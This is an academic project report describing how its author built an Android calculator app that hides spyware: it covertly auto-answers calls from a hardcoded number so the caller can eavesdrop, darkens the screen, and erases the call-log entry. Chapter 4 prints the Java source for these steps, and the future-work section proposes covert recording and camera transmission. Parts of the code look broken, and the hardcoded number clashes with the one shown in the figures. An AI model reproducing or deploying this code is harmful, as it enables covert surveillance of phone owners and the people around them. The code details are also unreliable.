Page 1
ii
ABSTRACT
Android is the most widely used mobile platform, and unfortunately, it is widely
targeted mobile platform (for hacking and attacks) as well. The framework concentrates
on developing an app with malicious behaviour which helps us in understanding the
functionality of any malicious app. The intent of the malicious activity is to
automatically answer calls from specific phone number. Once the malicious application
is installed, a call can be made to the infected device for eavesdropping on the
conversation taking place around the infected device. This helps in understanding the
functionality of telephony manager. The framework implements a calculator
application as a carrier of the malicious app. In the front end it will be a normal
calculator application, but in the back end it performs malicious activity of answering
calls and listening to conversations taking place around the infected device. Testing and
evaluation of the project suggest that a normal user cannot differentiate between a
malicious application and a normal application.
Page 2
iii
TABLE OF CONTENTS
Abstract………………………………………………………………………………ii
Table of Contents……………………………………………………………………iii
List of Figures………………………………………………………………………..v
List of Tables……………………………………………………...………………..vii
1. Background and Rationale………………………………………………………..1
1.1 Permissions…………………….…………………………………………1
1.2 Two Layered Permission…...…...………………………………………..1
1.3 Permissions and Package………...………………...……………………..2
1.4 Permissions and API Calls………..………………………………...……2
1.5 Clustering Technique……………...………………………………….......3
1.6 Literature Review.…………………..…………………………...……….3
1.6.1 Implementing an app to extract information using vulnerabilities..3
1.6.2 Malicious program Android.Anzhu…...…………………………..6
1.6.3 Malicious code insertion……………..……………………............7
1.7 Limitations………………………………………………………………..8
2. Narrative……………………………………………………………………….....9
2.1 Problem Statement………………………………………………………..9
2.2 Motivation…………………………………………………………….......9
2.3 Project Goal………………………………………………………………9
2.4 Objectives of the Project………………………………………………...10
3. System Design…………………………………………………………………..11
3.1 Flow of the Project………………………………………………………12
Page 3
iv
3.2 Steps in the Project Development……………………………………….14
3.2.1 Developing calculator application………………………………...14
3.2.2 Answering the call………………………………………………...15
3.2.3 Disconnecting the call……………………………………………..16
3.2.4 Deleting call log…………………………………………………...17
3.3 Environment…………………………………………………………….17
3.3.1 Android Studio………………………………………………….17
4. Implementation of the Application Modules……………………………………19
4.1 Implementation of Calculator Application……………………………...19
4.2 Setting Permissions in AndroidManifest.xml File...…………………….21
4.3 Performing Malicious Activity........…………………………………….21
5. Testing and Evaluation……………...…………………………………………..27
5.1 Launching the Calculator Application..…………………………………27
5.2 Input Validation for Calculator App……………………………………28
5.3 Answering the Call……….……………………………………………..30
5.4 Disconnect Ongoing Call.……………………………………………….32
5.5 Delete Call Log…..…..………………………………………………….34
6. Conclusion and Future Work………………………………….………………...37
7. Bibliography and References……………………………………………………39
Page 4
v
LIST OF FIGURES
Figure 1.1: Alteration of server database using a malicious client app [6]…………....5
Figure 1.2: Screen Off and Lock and additional icon configure Screen Off and Lock (in
red circles) [7]………………………………………………………………………….7
Figure 1.3: Insertion of malicious file in .apk archive [7]…………………………….8
Figure 3.1: Calculator app…………………………………………………………….11
Figure 3.2: Flow of the project……………………...………………………………...13
Figure 3.3: Performing illegal division operation ……………..……………………...15
Figure 4.1: Code snippet for layout of the calculator application ……………..…….20
Figure 4.2: Code snippet for functionality of calculator application …………….…..21
Figure 4.3: Code snippet for setting up permissions in AndroidManifest.xml file……21
Figure 4.4: Code snippet for answering the call - checking part………………………22
Figure 4.5: Code snippet for answering the call - answering part……………………..24
Figure 4.6: Code snippet for disconnecting the call when power button is pressed….25
Figure 4.7: Code snippet for deleting the call details from call log ……………..…....26
Figure 5.1: Launching the application………………………………………………...27
Figure 5.2: Addition operation………………………………………………………..28
Figure 5.3: Input validation of default value……………………………………….…29
Figure 5.4: Input validation of error message for division operation……………….…29
Figure 5.5: Dialing the number corresponding to a device with malicious code …..….30
Page 5
vi
Figure 5.6: Infected device: Automatically answering the call from 361-695-4276...31
Figure 5.7: Call in progress after it is automatically answered by the infected device
……………………………………………………………………………………..…31
Figure 5.8: Incoming call when number is not malicious…………………………......32
Figure 5.9: Caller’s device: Disconnect the call when power button is pressed on the
infected side ………………………………………………………………………….33
Figure 5.10: Infected device: Disconnect the call when power button is pressed……..34
Figure 5.11: Call log after disconnecting malicious call. ………………………….....35
Figure 5.12: Call log after disconnecting normal call…………………………….......36
Page 6
vii
LIST OF TABLES
Table 1.1: Success or failure of the malicious app as per protection levels of permissions
…………………………………………………………………………………………6
Page 7
1
1. BACKGROUND AND RATIONALE
Android is the most widely used mobile platform and unfortunately it is widely
targeted mobile platform (for hacking and attacks) as well. One easy way of getting
access to an android device is by using permissions when installing an app. If the
unsuspecting user gives access to all the permissions asked for, then the malicious
application may take advantage of it. After the malicious application is installed, it will
seek different permissions to send SMS to a premium number or make a call to a
premium number which may lead to a financial loss. Malicious app can steal
information by accessing phone storage, address book, user name and password. Not
only permissions but some researchers use API calls, source code, and packages as well.
Following sections list few examples where researchers have used permissions, source
code, packages, and API calls to develop a framework.
1.1 Permissions
Many researchers accessed permissions (which is specified in
AndroidManifest.xml file) to develop a framework to detect malware in Android. Some
researchers have developed a malware detection framework based on permissions [1].
Principal Component Analysis algorithm was used for selecting the features extracted
from the permissions and then Support Vector Machine method is applied to classify
whether the data collected is benign or malicious [1].
1.2 Two Layered Permission
Some researchers proposed android malware detection scheme which used two
layered permission. Rather than just using permissions, permissions as well as
permission pairs were used to detect malicious application. For each android
Page 8
2
application, permissions requested are retrieved from the corresponding application
package file. The permissions are identified by analysing the application dex file
(Dalvik executable file), and the features are used to detect malware [2].
1.3 Permissions and Package
Researchers used permissions as well as packages to design a static android
malware detection model. For each application, feature vector was formed using the
information on permissions and packages. Then an application is passed onto a
classifier to classify it. AndroidManifest.xml file which provides all the information
about an application to the android system is read and the permission feature is
extracted from it. The extracted permission feature is compared with the permission set
obtained beforehand to classify an application. Similarly, other tools were used to
decompile class.dex files (Dalvik executable file which holds information about the
resources and manifest file) into source code. Then source code was read to extract
package feature and then extracted package feature was compared with the package set
obtained beforehand to classify an application [3].
1.4 Permissions and API Calls
Android malware static detection framework was designed using a feature set
that contains permissions and API calls. Features of permissions and API calls are
extracted separately from an application file. As done in most of other frameworks
discussed, permissions are extracted from the AndroidManifest.xml file present in
application package file. AXMLPrinter2 tool [4] is used to decompile xml file. The label
<uses-permission> contains information about the permissions [4].
Page 9
3
1.5 Clustering Technique
Clustering technique was applied to detect a malware in android application.
Machine learning technique was used in auto detection of malware application.
Business and tools was concentration of this application. A widely used machine
learning algorithm known as K-means algorithm was used to apply the clustering
technique. All the android applications are collected and then one application is
extracted from it. Then android manifest file is processed to extract data from it. An
Attribute-Relation File Format (ARFF) file is created from the extracted features. At
last the K-means algorithm is applied to the application [5].
1.6 Literature Review
Most of the researchers concentrated on detecting the malicious app rather than
developing it. However to have a better understanding of a malicious app we need to
understand how a malicious app works and what are the vulnerabilities it can exploit.
This section discusses some of the malicious apps developed by the researchers.
1.6.1 Implementing an app to extract information using vulnerabilities
This malicious application uses ContentProvider and AddressBook database
which alters AddressBook to extract the information. The steps involved in
implementing and executing the malicious app are:
Implementing and executing a server app.
Analysing the server app.
Implementing and executing the malicious client app.
The steps involved in implementing and executing the server app are [6]:
Page 10
4
1. Database named AddressBook.db is defined which holds names, phone numbers
and addresses.
2. Activities are written to retrieve, insert, delete and modify the database.
3. ContentProvider is written to receive external queries for retrieving, inserting,
deleting and modifying the database and to reflect accordingly.
4. The URI for ContentProvider is assigned in AndroidManifest.xml.
5. A range of permissions and protectionLevels for ContentProvider is applied.
6. Developer’s private key is used as the signature attached and a compressed
execution file, Server.apk is generated.
7. Server.apk file is installed on a smartphone and run to generate the content of
the AddressBook [6].
The steps involved in analysing the server app are [6]:
1. ApkManager is used to extract the URI and permission information from
AndroidManifest.xml of Server.apk file.
2. ApkManager and Dedexer are used to extract database field names and
attributes of the ContentProvider from classes.dex [6].
The steps involved in implementing and executing the malicious client app are [6]:
1. ContentResolver is written to retrieve, insert, delete and modify the content of
the database using the extracted database URI, field names and attributes of the
database.
2. The extracted URI is specified in AndroidManifest.xml.
3. The same permission as the extracted one is used to the <uses-permission>.
4. The attacker’s private key is used as the signature. A compressed execution file,
Theif.apk is generated.
Page 11
5
5. Theif.apk file is installed on the smartphone and run to access the content of
AddressBook.db [6].
Figure 1.1 displays the results of altering the server database [6] in which
permissions are not assigned to ContentProviders of the server app. Figure 1.1 (a)
displays the result of generating and viewing an AddressBook in the server app. Figure
1.1 (b) displays the results of client app performing insertion, deletion and modification
operations. Figure 1.1 (c) displays the content of database through the server app after
the malicious app updated the database [6].
Figure 1.1: Alteration of server database using a malicious client app [6]
Researchers were able to access some permissions and some permissions were
not accessible. Table 1.1 summarizes the success or failure of the malicious application
discussed as per protection levels of permissions.
Page 12
6
Table 1.1: Success or failure of the malicious app as per protection levels of
permissions [6]
1.6.2 Malicious program Android.Anzhu
The malicious application Android.Anzhu controls the smartphone by changing
the configuration of bookmarks. To enable unhindered access of a smartphone,
Android.Anzhu is installed as a backdoor. Android.Anzhu application is built into an
application well-known for locking the screen and turning the smartphone off with one
touch without using the power button - the Screen Off and Lock [7]. Once this
Page 13
7
application is installed it will install additional icon “Configure Screen Off and Lock”
as shown in figure 1.2.
Figure 1.2: Screen Off and Lock and additional icon configure Screen Off and
Lock (in red circles) [7]
1.6.3 Malicious code insertion
Most common and easiest way to insert the bug or to manipulate the code is, to
modify the source code. However the source code is not available that often. If the
source code is not available then the bug can be embedded into the applications .apk
file. The .apk file is an ordinary zip-archive with executable code, manifest, digital
Page 14
8
signature, and resource files [7]. As shown in figure 1.3 new classes.dex file with
modified date of 26.08.2013 18:27 is inserted into existing .apk file.
Figure 1.3: Insertion of malicious file in .apk archive [7]
1.7 Limitations
Most of the researchers concentrated on permissions. However, APIs can be
exploited by attackers as well.
API calls can be classified into five types. They are privacy related API calls,
network related API calls, SMS related API calls, Wi-Fi related API calls, and
components related API calls [9]. However, the contribution of these API calls is not
investigated to detect malware. Most of the researchers as discussed in this paper
concentrates on one or two types of API calls.
More information about API calls can be extracted from applications, and this
information can be used in developing an android malware detection framework.
Most of the researchers extract information related to permissions from
AndroidManifest.xml file. However, AndroidManifest.xml file contains other
information besides permissions which can be used for detecting vulnerabilities as well.
Page 15
9
2. NARRATIVE
2.1 Problem Statement
Android is most widely used mobile platform and unfortunately it is widely
targeted mobile platform (for hacking and attacks) as well. It might so happen that
android app marketplace may host some of the malicious applications which could
evade detection before being downloaded by unsuspecting devices. To develop
antimalware or to protect the device from being affected, it is important to understand
the functioning of malicious application. To do so, it is important to understand how a
malicious application can access unwanted permissions and how a malicious
application can affect the user (financial loss, data loss, etc).
2.2 Motivation
As of 2014, over one billion smartphones shipped were powered by android.
Among the mobile devices running android operating system, more than 50% of them
had unpatched vulnerabilities. As per Forbes report published in March 2014, 97% of
mobile malware were on devices using android operating system. An application can
perform any operation, so allowing an application to be installed without even knowing
in advance the operations performed by an application may lead to malware getting
infected. This malware application can lead to information or financial loss.
2.3 Project Goal
The main goal of the developed system is to understand the functioning of
malicious apps and to understand how a malicious application accesses telephony
methods to answer the call automatically and listen to the conversation taking place
Page 16
10
around the infected device. Most of the malicious applications use permissions or API
calls related to android telephony framework to incur financial losses or to access
sensitive information. In the developed system, malicious code is embedded in normal
application. When the unsuspecting user installs this application, malicious code is
executed as well, which accesses telephony methods to answer the call automatically,
thereby allowing hackers to listen to the conversation taking place around the infected
device.
2.4 Objectives of the Project
The main objectives of the project are:
1) To embed the malicious code into normal application.
2) To answer the call automatically.
3) To disconnect the call when power button is pressed.
4) To delete history when malicious call is disconnected.
5) To understand the vulnerability of android telephony framework.
Page 17
11
3. SYSTEM DESIGN
In order to embed the malicious code, a normal application which in this case is
a simple calculator app is developed as shown in figure 3.1. The malicious code is then
embedded within the calculator app. To answer a call, user permissions are defined and
a receiver is created which accepts broadcast events. One of the instances of hidden
class of android telephony framework is accessed, which controls useful methods of
call state. The call is answered automatically if and only if it is received from one
particular number, that number is defined and compared with the incoming call number.
If both match the call is accepted automatically, otherwise the app will behave
normally. When the user clicks the power button the call is automatically disconnected
and the call log for the number is deleted accordingly.
Figure 3.1: Calculator app
Page 18
12
3.1 Flow of the Project
Figure 3.2 depicts the flow of the project. As soon as the calculator application
is installed, malicious code takes over the infected device. After that, whenever the
infected target receives an incoming call it checks for the malicious number. If the
incoming number is malicious, then it accepts the call automatically, that way the rogue
caller can listen to the conversation taking place around the infected device. If the
incoming number is not malicious, then the phone behaves normally waiting for the
user to take action. While listening to the conversation, if the infected devices user
presses the power button, the call will be disconnected automatically. After the call is
disconnected automatically or the rogue caller ends the call from his end, the entry of
malicious number is deleted from the call log.
Page 19
13
Figure 3.2: Flow of the project
Page 20
14
3.2 Steps in the Project Development
3.2.1 Developing calculator application
To develop a malicious application a normal calculator application is
developed. Then the malicious code is integrated into the code of the calculator app.
The calculator application designed can perform addition, subtraction, multiplication
and division operations.
As shown in figure 3.3, any operation can be performed by entering the first
number and second number, and then pressing the appropriate operation button. When
‘+’ button is pressed addition operation is performed, when ‘-’ button is pressed
subtraction operation is performed, when ‘*’ button is pressed multiplication operation
is performed, and when ‘/’ button is pressed division operation is performed. To
perform a floating point operation we need to pull additional classes which may
increase the functionality since the concentration is on designing the malicious
application rather than calculator application, operations are restricted to integer
operations. While performing the division operation if denominator is 0 then “Cannot
Divide” message is displayed as shown in figure 3.3.
Page 21
15
Figure 3.3: Performing illegal division operation
3.2.2 Answering the call
After the calculator app is installed on a device, the malicious code integrated
within the app will automatically answer the call coming from a specific rogue caller.
In this way the caller can listen to the conversation taking place around the infected
device. When a person makes a call to a device on which this malicious application is
installed, the incoming phone number is checked with the number specified in the code,
if the number matches then the call is answered automatically otherwise the application
will behave normally. If developed application does not behave normally for other
incoming numbers then someone may report the malicious activity to the infected
Page 22
16
device user. That’s why it is important that the application behaves normally when the
incoming number is not malicious.
As soon as a phone call is received by a device, TELEPHONY_SERVICE
method is invoked. This service is used to check the status of a call. If call is idle, then
"No call available to be answered" message is displayed. If call is not idle then
EXTRA_KEY_EVENT is used to check the event triggering the service class. In this
case, ANDROID_PERMISSION_CALL_PRIVILEGED event is triggered. If
ANDROID_PERMISSION_CALL_PRIVILEGED event triggers the service class,
then broadcast receiver is called. The broadcast receiver will receive the service and
will check the state of a call. If the state of a call is ringing (CALL_STATE_RINGING)
then it will retrieve the incoming phone number using
EXTRA_INCOMING_NUMBER intent. If the incoming number matches with the
number specified in the code then the call is answered automatically. After the call is
answered brightness of the screen is reduced so that infected device user doesn’t notice
the malicious activity.
3.2.3 Disconnecting the call
While listening to the conversation if the infected device user presses power
button then the call should be disconnected immediately. However, this should take
place only if the call is answered automatically i.e., the call is answered maliciously.
To do so the state of a screen should be checked. If it is on, then the call answered can
be a regular call and the call is not disconnected. However, if the screen is off, and the
call answered is malicious then the call is disconnected automatically.
Page 23
17
3.2.4 Deleting call log
Since the infected device user should not be aware of the malicious activity, the
number should be deleted from the call log. However, we should delete an entry which
corresponds to the malicious number. When the call is disconnected, the number is
compared to malicious number, if they match then corresponding entry for the
malicious number in the call log is deleted, otherwise the application doesn’t do
anything. To delete a call from the call log the entire URI where call log is stored is
retrieved. After retrieving the call log URI, total entries in call log is calculated. If total
count is zero then "Call log is empty" message is displayed. If there are some entries in
the call log then malicious number’s entry is retrieved so that it can be deleted from the
call log. If malicious number’s entry is not found then "Number not found in call log"
message is displayed otherwise "Number deleted from call log" message is displayed.
3.3 Environment
The designed system is implemented in Java. JDK 1.6 or higher is needed to
develop this project. Android Studio is the programming environment used, for
programming convenience. The project is tested on smartphone having android version
4.2.1.
3.3.1 Android Studio
Android Studio is JetBrain’s IntelliJ IDEA based software designed for Android
development. “Android Studio offers:
Flexible Gradle-based build system.
Build variants and multiple apk file generation.
Code templates to help you build common app features.
Page 24
18
Rich layout editor with support for drag and drop theme editing.
Lint tools to catch performance, usability, version compatibility, and other
problems.
ProGuard and app-signing capabilities.
Built-in support for Google Cloud Platform, making it easy to integrate Google
Cloud Messaging and App Engine” [10].
Page 25
19
4. IMPLEMENTATION OF THE APPLICATION MODULES
The malicious app is developed for android using Android Studio. First the
calculator app is designed and then malicious code is integrated into it. The rest of the
chapter includes the implementation details.
4.1 Implementation of Calculator Application
The GUI for calculator app is programmed in activity_main.xml file. Figure 4.1
shows part of the code snippet for layout of the calculator application.
<LinearLayout
android:orientation="horizontal"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_alignParentLeft="true"
android:layout_alignParentStart="true"
android:layout_below="@+id/etSecondNumber"
android:id="@+id/linearLayout">
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="+"
android:id="@+id/btnAdd" />
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="-"
android:id="@+id/btnSub" />
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="/"
android:id="@+id/btnDiv" />
<Button
android:layout_width="wrap_content"
Page 26
20
android:layout_height="wrap_content"
android:text="*"
android:id="@+id/btnMul" />
</LinearLayout>
Figure 4.1: Code snippet for layout of the calculator application
The functionality of the calculator app is written in MainActivity.java file.
Figure 4.2 shows the code snippet for the main activity of the calculator application.
public void onClick(View view) {
String num1 = etFirst.getText().toString();
String num2 = etSecond.getText().toString();
int firstInteger=0,secondInteger=0;
try {
firstInteger = Integer.parseInt(num1);
secondInteger = Integer.parseInt(num2);
}catch (Exception e) {
tvResult.setText("Please enter first and second
numbers");
}
switch (view.getId()) {
case R.id.btnAdd:
int add = firstInteger + secondInteger;
tvResult.setText(String.valueOf(add));
break;
case R.id.btnSub:
int sub = firstInteger - secondInteger;
tvResult.setText(String.valueOf(sub));
break;
case R.id.btnMul:
int mul = firstInteger * secondInteger;
tvResult.setText(String.valueOf(mul));
break;
case R.id.btnDiv:
try {
int div = firstInteger / secondInteger;
tvResult.setText(String.valueOf(div));
} catch (Exception e) {
Page 27
21
tvResult.setText("Cannot Divide");
}
break;
}
}
Figure 4.2: Code snippet for functionality of calculator application
4.2 Setting Permissions in AndroidManifest.xml File
Every application has an AndroidManifest.xml file in its root directory. The
manifest file presents essential information about the application to the Android system.
This information is essential for the system to run any of the application’s code. All
permissions used in the app are set in the manifest file. Figure 4.3 shows the permissions
used while implementing the framework.
<uses-permission
android:name="android.permission.READ_PHONE_STATE" />
<uses-permission
android:name="android.permission.PROCESS_OUTGOING_CALLS"
/>
<uses-permission
android:name="android.permission.CALL_PHONE" />
<uses-permission
android:name="android.permission.READ_CONTACTS" />
<uses-permission
android:name="android.permission.WRITE_CONTACTS" />
<uses-permission
android:name="android.permission.READ_CALL_LOG" />
<uses-permission
android:name="android.permission.WRITE_CALL_LOG" />
Figure 4.3: Code snippet for setting up permissions in AndroidManifest.xml file
4.3 Performing Malicious Activity
The malicious code is embedded into the calculator application’s code for
performing the malicious activity of listening to the conversation taking place around
the infected device. Then the first step is to automatically answer the incoming call
Page 28
22
received from the malicious number. Figures 4.4 and 4.5 show the code snippet for call
answering part.
private void answerPhoneHeadsethook() {
Log.d(Keys.LOGTAG, "answerPhoneHeadsethook()");
int nCallState = -1;
TelephonyManager tm = (TelephonyManager)
getSystemService(Context.TELEPHONY_SERVICE);
if ( (nCallState = tm.getCallState()) ==
TelephonyManager.CALL_STATE_IDLE) {
Log.d(Keys.LOGTAG, "No call available to be
answered.");
return;
}
Log.d(Keys.LOGTAG, "Call can be answered: " +
nCallState);
// Simulate a press of the headset button to pick up
the call
Intent buttonDown = new
Intent(Intent.ACTION_MEDIA_BUTTON);
buttonDown.putExtra(Intent.EXTRA_KEY_EVENT, new
KeyEvent(KeyEvent.ACTION_DOWN,
KeyEvent.KEYCODE_HEADSETHOOK));
sendOrderedBroadcast(buttonDown,
ANDROID_PERMISSION_CALL_PRIVILEGED);
// froyo and beyond trigger on buttonUp instead of
buttonDown
Intent buttonUp = new
Intent(Intent.ACTION_MEDIA_BUTTON);
buttonUp.putExtra(Intent.EXTRA_KEY_EVENT, new
KeyEvent(KeyEvent.ACTION_UP,
KeyEvent.KEYCODE_HEADSETHOOK));
sendOrderedBroadcast(buttonUp,
ANDROID_PERMISSION_CALL_PRIVILEGED);
}
Figure 4.4: Code snippet for answering the call - checking part
Page 29
23
public void onReceive(final Context context, Intent
intent) {
// Check phone
int callState = 0;
TelephonyManager tm = null;
String strInNumber = "";
Activity myActivityReference = null;
try{
tm = (TelephonyManager)
context.getSystemService(Context.TELEPHONY_SERVICE);
callState = tm.getCallState();
if(callState == TelephonyManager.CALL_STATE_RINGING
&&
intent.hasExtra(TelephonyManager.EXTRA_INCOMING_NUMBER)){
PowerBtnCalc.SHOULD_DISCONNECT_CALL = false;
Intent intAnswerCall = new Intent(context,
ServiceAnswer.class);
intAnswerCall.putExtra(ServiceAnswer.OPERATION,
ServiceAnswer.ACTION_ANSWER);
strInNumber =
intent.getStringExtra(TelephonyManager.EXTRA_INCOMING_NUM
BER);
Log.d(Keys.LOGTAG, "NUMBER: " + strInNumber);
// the phone number can be in various
formats, some times there's a + at the start some times
its not. I am trying to handle all cases.
// a call is automatically answered only if
its from the malicious person's number
if((strInNumber.endsWith("3613430183") ||
strInNumber.equals("13613430183") ||
strInNumber.equals("+13613430183")) &&
intent.getAction().equals(Intent.ACTION_SCREEN_OFF)) {
PowerBtnCalc.SHOULD_DISCONNECT_CALL =
true;
context.startService(intAnswerCall);
WindowManager.LayoutParams params =
myActivityReference.getWindow().getAttributes();
Page 30
24
myActivityReference.getWindow().addFlags(WindowManager.La
youtParams.FLAG_KEEP_SCREEN_ON);
myActivityReference.getWindow().addFlags(WindowManager.La
youtParams.FLAG_DISMISS_KEYGUARD);
myActivityReference.getWindow().addFlags(WindowManager.La
youtParams.FLAG_TURN_SCREEN_ON);
params.screenBrightness = 0.0f;
myActivityReference.getWindow().setAttributes(params);
}
}
}catch(Exception excp){
excp.printStackTrace();
}
}
Figure 4.5: Code snippet for answering the call - answering part
While listening to the conversation if user presses the power button then the call
is disconnected automatically, if it is answered maliciously. Figure 4.6 shows the code
snippet for disconnecting the call.
public void onReceive(final Context context, Intent
intent) {
try {
Log.d(Keys.LOGTAG, "Phone is locked.");
if
(intent.getAction().equals(Intent.ACTION_SCREEN_OFF)) {
screenOff = true;
Log.i(Keys.LOGTAG, "via Receiver Normal Screen
OFF " + SHOULD_DISCONNECT_CALL );
if (SHOULD_DISCONNECT_CALL) {
DISCONNECT_CALL = true;
}
} else if
(intent.getAction().equals(Intent.ACTION_SCREEN_ON)) {
Page 31
25
screenOff = false;
Log.i(Keys.LOGTAG, "via Receiver Normal Screen
ON" );
if (DISCONNECT_CALL) {
DISCONNECT_CALL = false;
SHOULD_DISCONNECT_CALL = false;
Intent intDCCall = new Intent(context,
ServiceAnswer.class);
intDCCall.putExtra(ServiceAnswer.OPERATION,
ServiceAnswer.ACTION_DISCONNECT);
context.startService(intDCCall);
}
} else
if(intent.getAction().equals(Intent.ACTION_ANSWER)) {
Log.i(Keys.LOGTAG, "via Receiver Normal ANSWER"
);
}
}catch(Exception ex){
Log.e(Keys.LOGTAG, ex.toString());
}
}
Figure 4.6: Code snippet for disconnecting the call when power button is pressed
If the incoming call is answered maliciously then the infected device user should
not see the call information in the call log. That’s why this number is deleted from the
call log. Figure 4.7 shows the code snippet for deleting the calls details from the call
log.
String historyUri = "content://call_log/calls";
Uri callsUri = Uri.parse(historyUri);
Cursor cur = this.getContentResolver().query(callsUri,
null, null, null, null);
if (cur.getCount() <= 0) {
Log.d(Keys.LOGTAG, "Call log is empty");
return;
}
while (cur.moveToNext()) {
String queryString = "NUMBER='" + deleteNumber + "'";
Page 32
26
Log.d("Number", queryString);
int i = this.getContentResolver().delete(callsUri,
queryString, null);
if (i >= 1) {
Log.d(Keys.LOGTAG, "Number deleted from call
log");
} else {
Log.d(Keys.LOGTAG, "Number not found in call
log");
}
}
Figure 4.7: Code snippet for deleting the call details from call log
Page 33
27
5. TESTING AND EVALUATION
This section deals with the functional evaluation of the application. The
application is tested by installing the application on BLU LIFE PURE mobile phone
with android version 4.2.1. The application supports all Android versions upto 4.4. In
order to install the application, the “install from other locations” setting, under the
developer options of the phone should be enabled. The later sections of the chapter
deals with various test cases.
5.1 Launching the Calculator Application
When the application is launched, the calculator app is seen on the screen. The
malicious activity is not seen or noticed. Figure 5.1 shows the calculator application.
Figure 5.1: Launching the application
Page 34
28
Once the calculator application is launched basic addition, subtraction,
multiplication and division operations can be performed. Figure 5.2 shows the result of
an addition operation.
Figure 5.2: Addition operation
5.2 Input Validation for Calculator App
When the user does not enter the first and second numbers then the default value
(zero) is displayed as shown in figure 5.3. If user enters the second number as zero then
“Cannot Divide” message is displayed as shown in figure 5.4.
Page 35
29
Figure 5.3: Input validation of default value
Figure 5.4: Input validation of error message for division operation
Page 36
30
5.3 Answering the Call
Once calculator app is installed, the hidden malicious activity of the application
starts monitoring the incoming phone calls. If incoming number is malicious, then
application automatically answers the call. Figure 5.5 shows the caller making a call to
the infected device. Figure 5.6 shows behaviour of the infected device, which answers
the call automatically, if incoming number is malicious. Figure 5.7 shows the call in
progress on the caller side.
Figure 5.5: Dialing the number corresponding to a device with malicious code
Page 37
31
Figure 5.6: Infected device: Automatically answering the call from 361-695-4276
Figure 5.7: Call in progress after it is automatically answered by the infected
device
Page 38
32
If the incoming number is not malicious then the call should not be answered
automatically. Figure 5.8 depicts the behaviour of the infected device, which behaves
normally when a call is made from a normal number.
Figure 5.8: Incoming call when number is not malicious
5.4 Disconnect Ongoing Call
While listening to the conversation, if the user presses the power button then the
ongoing call should be disconnected automatically or the caller can hang up call to
disconnect the call. Figure 5.9 depicts the behaviour of the caller’s phone when a call
is disconnected by pressing the power button on the infected side. Figure 5.10 depicts
Page 39
33
the behaviour of an infected device when a call is disconnected by pressing the power
button.
Figure 5.9: Caller’s device: Disconnect the call when power button is pressed
on the infected side
Page 40
34
Figure 5.10: Infected device: Disconnect the call when power button is pressed
5.5 Deleting Call Log
After disconnecting the call, the call log should be checked, if a number found
in the call log is malicious then the corresponding number’s entry is deleted from the
call log as shown in figure 5.11. This is evident from figure 5.6 as there was a call
received from a number “361-695-4276” which is not seen in the call log of figure 5.11.
If the number found in the call log is not malicious then the corresponding number’s
entry is not deleted from the call log as shown in figure 5.12. This is evident from figure
5.8 as there was a call received from a number “571-345-5627” which can be seen in
figure 5.12.
Page 41
35
Figure 5.11: Call log after disconnecting malicious call
Page 42
36
Figure 5.12: Call log after disconnecting normal call
Page 43
37
6. CONCLUSION AND FUTURE WORK
Android is the most popular operating system. As of 2014, over one billion
smartphones shipped were powered by android. Android is currently developed by
Google. Billions of applications are published on Google Play and unfortunately, none
of these applications are tested before being published, which leads a way to rogue
developers to publish malicious applications. The developed application is a malicious
application which being a calculator app performs malicious activity. After the
calculator application is installed onto the target device, a rogue caller can easily listen
to the conversation taking place around the infected device by making a call to the
device infected with malicious code. Once the target receives the call from a malicious
number it will automatically answer the call. While listening to the conversation if the
infected device user presses the power button then the call is automatically
disconnected there by not allowing the user to see the malicious activity taking place.
The entry for the malicious number is deleted from the call log.
Future Work
The application can be improved with regards to following aspects:
Disabling the screen as soon as the call is connected automatically. As of now,
it takes some time for the screen to turn off.
Not only listening to the conversation, but also recording the conversation
taking place between the infected device and malicious number.
A rogue developer can develop an application which will allow them to call
target device with just a click and then record the conversation.
Conversation can be recorded at the target end as well.
Page 44
38
Ability to send an SMS to the rogue developer with the phone number of an
infected device.
Activating the camera on the phone to automatically transmit pictures and
video.
Not only call and camera, we can use other modes to steal the information.
Current project supports android version up to 4.4, it can be extended further to
implement the logic on latest devices with android version 5.0 and higher.
The application can be extended to iOS as well.
Page 45
39
BIBLIOGRAPHY AND REFERENCES
[1] Zhao Xiaoyan; Fang Juan; Wang Xiujuan; 2014; “Android malware detection based
on permissions”; 2014 International Conference on Information and Communications
Technologies (ICT 2014).
[2] Xing Liu, Jiqiang Liu; 2014; “A Two-layered Permission-based Android Malware
Detection Scheme”; 2014 2nd IEEE International Conference on Mobile Cloud
Computing, Services, and Engineering.
[3] Xiangyu-ju; 2014; “Android Malware Detection through Permission and
Package”; Proceedings of the 2014 International Conference on Wavelet Analysis and
Pattern Recognition, Lanzhou; 13-16 July, 2014.
[4] Patrick P. K. Chan, Wen-kai Song; 2014; “Static Detection of Android Malware by
using Permissions and API calls”; Proceedings of the 2014 International Conference
on Machine Learning and Cybernetics, Lanzhou; 13-16 July, 2014.
[5] Aiman A. Abu Samra, Kangbin Yim, Osama A. Ghanem; 2013; “Analysis of
Clustering Technique in Android Malware Detection”; 2013 Seventh International
Conference on Innovative Mobile and Internet Services in Ubiquitous Computing.
[6] Taenam Cho, Jae-Hyeong Kim, Hyeok-Ju Cho, Seung-Hyun Seo, Seungjoo Kim;
2013; “Vulnerabilities of Android Data Sharing and Malicious Application to Leaking
Private Information”; 2013 Fifth International Conference on Ubiquitous and Future
Networks (ICUFN).
[7] Android. Anzhu – new backdoor for Android devices (2015, August 6). Retrieved
from http://news.drweb.com/?i=2256&c=5&lng=en&p=0.
Page 46
40
[8] Mikhaylov D, Zhukov I, Starikovskiy A, Kharkov S, Tolstaya A, Zuykov A; 2013;
“Review of malicious mobile applications, phone bugs and other cyber threats to mobile
devices”; 2013 5th IEEE International Conference on Broadband Network &
Multimedia Technology (IC-BNMT); 17-19 Nov. 2013.
[9] Chan, P.P.K; Wen-Kai Song; 2014; “Static detection of Android malware by using
permissions and API calls”; 2014 International Conference on Machine Learning and
Cybernetics (ICMLC).
[10] Android Studio Overview (2015, August 6). Retrieved from
http://developer.android.com/tools/studio/index.html.
